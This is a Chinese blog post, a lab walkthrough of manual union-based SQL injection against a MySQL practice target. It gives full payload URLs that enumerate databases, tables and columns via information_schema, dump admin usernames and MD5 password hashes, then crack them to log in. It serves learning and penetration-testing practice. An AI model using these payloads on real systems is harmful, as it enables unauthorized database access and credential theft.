SQL手工注入笔记1

SQL手工注入笔记1

MySQL 数据库
SQL手工注入漏洞测试(MySQL数据库)
参考链接
实战靶场链接 SQL手工注入漏洞测试(MySQL数据库)
图片链接都是我自建的博客里的,可能加载比较慢.
我的个人博客

首先先复习以下MySQL自带表中记录的信息

information_schema数据库中的
'SCHEMATA' 表记录整个数据库服务器中的库名称 ,'SCHEMA_NAME'是库名.
'TABLES'表记录每个库中的所有表名,'TABLE_SCHEMA'为库名,'TABLE_NAME'为对应的表名(多行).
'COLUMNS'表记录着服务器数据库中所有表的字段 'TABLE_SCHEMA'对应数据库名,'TABLE_NAME'对应表名,'COLUMN_NAME'对应字段名,'COLUMN_TYPE'对应字段数据类型.

确定是否可以注入

1
地址栏在id=1 后面输入 and 1 = 2,

http://219.153.49.228:46538/new_list.php?id=1 and 1 = 2

相当于在数据库执行了以下语句

select * from '表名未知' WHERE id = 1 and 1 = 2

在sql中,WHERE 后接条件,AND表示和,比如:
X AND Y
需要 X 和 Y同时为真,也就是同时正确,sql服务器才会返回数据,然而1=2显然是错误的,所以返回结果为空

回车发现报错,可以注入.

判断表中字段数.

浏览器地址栏输入

http://219.153.49.228:46538/new_list.php?id=1 order by 5

sql语句

select * from '表名未知' WHERE id = 1 order by 5

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OIuz6NWW-1589477975714)(https://blog.2333hbg.xyz/image/SQL/sql1/2.PNG)]
报错,证明当前表中字段不超过5个字段.
将5换为4

http://219.153.49.228:46538/new_list.php?id=1 order by 4

结果:
3

正常.(order by要试到最大且不报错的数字).

判断显示的文本所在的字段.

浏览器输入

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JspeTOoR-1589477975719)(https://blog.2333hbg.xyz/image/SQL/sql1/4.PNG)]

sql语句

select * from 表名 WHERE id = 1 AND 1=2 union select 1,2,3,4

可以看到本应是标题的文字变为了2,正文变为了3

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4.


我们再去自己的数据库看看:

这是正常的查询语句

select * from 'stuinfo' WHERE id = 1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K691tanm-1589477975721)(https://blog.2333hbg.xyz/image/SQL/sql1/5.png)]

加上and 1 = 2后

select * from 'stuinfo' WHERE id = 1 and 1 = 2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x1I3vmFK-1589477975722)(https://blog.2333hbg.xyz/image/SQL/sql1/7.png)]
and 1 = 2不成立,所以返回了空结果

再加上union select 1,2,3,4,5,6,7,8(因为我的表有八个字段)

select * from 'stuinfo' WHERE id = 1 and 1 = 2 union select 1,2,3,4,5,6,7,8

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejKoMmxh-1589477975724)(https://blog.2333hbg.xyz/image/SQL/sql1/6.png)]

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4,5,6,7,8.

可以看到,原来的结果全部替换为了1到8,这就是为什么标题和正文被替换成了2和3.


所以我们可以在

中的2和3替换查询我们需要的数据(字段).

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

union为联合查询,联结两个查询语句(select*)

查询当前数据库名称和数据库版本:

浏览器输入:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,database(),version(),4

结果:
8

图中可以看到当前数据库名称为’mozhe_Discuz_StormGroup’,数据库版本以及服务器系统版本为’5.7.22-0ubuntu0.16.04.1’

查询整个服务器中全部库名称

这里要用到我们之前提到的’information_schema服务器数据库’中’SCHEMATA’表


我们先看看SCHEMATA表的信息(我自己的服务器)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zEAUMFDi-1589477975726)(https://blog.2333hbg.xyz/image/SQL/sql1/15.png)]
可以看到整个服务器中的数据库名都在这里.

再看看查询语句的结果:

SELECT * FROM `SCHEMATA`

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E7ApVlzP-1589477975727)(https://blog.2333hbg.xyz/image/SQL/sql1/16.png)]

可以看到列出了全部结果,如果我们只需要第一条数据怎么办?

SELECT * FROM `SCHEMATA`  limit 0,1 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UT0CByoO-1589477975729)(https://blog.2333hbg.xyz/image/SQL/sql1/17.png)]

可以再语句后添加limit 0,1

0表示从所有结果中在第一行开始取数据,后面的1表示从取出的数据中显示一条数据.

取第二条数据:

SELECT * FROM `SCHEMATA`  limit 1,1 

18

1表示从所有结果中在第2行开始取数据,后面的1表示从取出的数据中显示一条数据.


获取靶机服务器中全部数据库名:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3qmBXu7o-1589477975732)(https://blog.2333hbg.xyz/image/SQL/sql1/9.PNG)]

'SCHEMA_NAME’为需要查询表的字段名,from后接在哪里查询

‘information_schema.SCHEMATA’ 指的是在
information_schema这个数据库中的SCHEMATA表.

limit 0,1 是在结果中的第0行取出1行 (以为我们这里只能显示一行数据,我们只要单行结果)

所以我们得到整个服务器数据库中’information_schema’是第一个数据库

继续浏览器,将limit 0,1改为limit 1,1,取第二行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7wwo1MaB-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/10.PNG)]

可以看到第二个数据库为’mozhe_
Discuz_StormGroup’

继续 将limit 1,1改为limit 2,1,取第三行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jet0O9vF-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/11.PNG)]

得到第三个数据库为’mysql’

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AleYIGl3-1589477975734)(https://blog.2333hbg.xyz/image/SQL/sql1/12.PNG)]

得到第四个数据库为’performance_schema’

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVlRBaHb-1589477975735)(https://blog.2333hbg.xyz/image/SQL/sql1/13.PNG)]

第五个数据库为’sys’

继续 limit 4,1 > limit 5,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

结果:
14
可以看到结果为空,也就是说服务器中只有五个数据库:

序号库名称
1information_schema
2mozhe_Discuz_StormGroup
3mysql
4performance_schema
5sys

从中可以看到,只有’mozhe_
Discuz_StormGroup’这个库是和我们需要的有关联.
因此,我们需要查询下这个库中有那些表,以获得我们需要的密码.

查询指定库中所有表

查询库名称:mozhe_
Discuz_StormGroup

这里要用到information_schema库中的TABLES 表


先看看这个TABLES表结构(自己服务器):
19

可以看到,表中字段’TABLE_SCHEMA’对应的是库名称,同行中的’TABLE
_NAME’是这个库中的表名称.
如果说我想查询’wordpress’这个库中的全部表

SELECT * FROM `TABLES` WHERE `TABLE_SCHEMA` = 'typecho'

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JjJUvyfV-1589477975739)(https://blog.2333hbg.xyz/image/SQL/sql1/20.png)]

可以看到库名为’typecho’的库中的所有表信息.
因为我们这里只需要一行一行地查询,所以要在后面加上limit x ,x .


靶机:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

结果:
21
'TABLE_NAME’为表名, from 后接库名.表名
WHERE 后接 条件

limit 0 ,1 取出结果第一条数据.

这里使用的是 查询 ‘TABLE
_SCHEMA’ 为 ‘mozhe
_
Discuz_StormGroup’ 的数据,显示查询结果中的’TABLE
_NAME’字段的信息,并只取1条

得到第一张表为’StormGroup_member’

继续 取第二条数据: limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L68JGkSK-1589477975740)(https://blog.2333hbg.xyz/image/SQL/sql1/22.PNG)]
得到第二张表为’notice’

继续 limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

结果:
23
空,即是无,这个库只有两张表.

序号库名表名
1mozhe_Discuz_StormGroupStormGroup_member
2mozhe_Discuz_StormGroupnotice

查询表字段

这里用到information_schema库中的COLUMNS表.
先看看这张表的结构.

SELECT * FROM `COLUMNS`

24

直接上表吧.

字段含义备注
TABLE_SCHEMA数据库名称
TABLE_NAME表名
COLUMN_NAME字段名
DATA_TYPE字段数据类型没截到,图中没有

如果我们要查库名为’test1’里的’stuinfo’表的话

SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` = 'test1' AND `TABLE_NAME` = 'stuinfo'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wnguO54S-1589477975743)(https://blog.2333hbg.xyz/image/SQL/sql1/25.png)]

FROM后接表名
WHERE后接条件
AND连接两个条件,两个条件必须存在且完全正确才返回结果.前面的’and 1 = 2’就是让原来的查询结果返回空值
如果要返回一条结果,用limit.


靶机:

这次我们赌StormGroup_member表有我们需要的数据.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wZYjvM4Q-1589477975744)(https://blog.2333hbg.xyz/image/SQL/sql1/26.PNG)]

WHERE 后面的

TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

TABLE_SCHEMA=‘库名’
TABLE
_NAME=‘表名’
limit 0,1 取第一行数据.

union后面的:

select 1,COLUMN_NAME,COLUMN_TYPE,4

分别在2和3显示’COLUMN_NAME’和’COLUMN
_TYPE’字段的数据.

图中可以看到表’StormGroup_member’第一个字段为’id’,数据类型为’int(11)’

然后继续 limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

27

得到第二个字段为’name’,数据类型为’varchar(20)’

继续: limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

28
第三字段为’password’ 数据类型’varchar(255)’

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

29
第四字段为’status’ 数据类型’int(11)’

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

30

空即无,我们得到了以下数据:

序号数据库表名字段名数据类型
1mozhe_Discuz_StormGroupStormGroup_memberidint(11)
2mozhe_Discuz_StormGroupStormGroup_membernamevarchar(20)
3mozhe_Discuz_StormGroupStormGroup_memberpasswordvarchar(255)
4mozhe_Discuz_StormGroupStormGroup_memberstatusint(11)

查询表中有几条数据

count()函数在MySQL中是统计结果的行数.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,count(*),4  from mozhe_Discuz_StormGroup.StormGroup_member

31

from mozhcounte_Discuz_StormGroup.StormGroup_member  

在 mozhe_Discuz_StormGroup 库中的 StormGroup_member 表查询

count(*)返回结果条数

从图中可以看到有2条记录

查询表中记录的值

因为只显示两个字段信息,先查询name和password字段.

也可以使用CONCAT()函数来连接多个字段的结果,这里使用最笨的方法.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

32
得到name和password字段信息
再次查询status字段信息:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgdJ2gZu-1589477975751)(https://blog.2333hbg.xyz/image/SQL/sql1/33.PNG)]
得到status为0.

因为之前查询到表中有两条记录,所以我们查询第二条
limit 0,1 > limit 1,1

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H73pfEyP-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/34.PNG)]
查status

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gI1Wsok-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/35.PNG)]

得到以下信息:

序号namepasswordstatus
1mozhe356f589a7df439f6f744ff19bb8092c00
2mozhe625cea684400c06679e63e798755a3501

status我感觉为1的是激活的,0为禁用的.
通常来说,password是使用MD5加密,我们去网上解密.
得到结果:

序号namepasswordstatus
1mozhedsan130
2mozhe1775721

然后登录后台,结束.

如果有哪里写的不好的地方,欢迎指出,谢谢.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值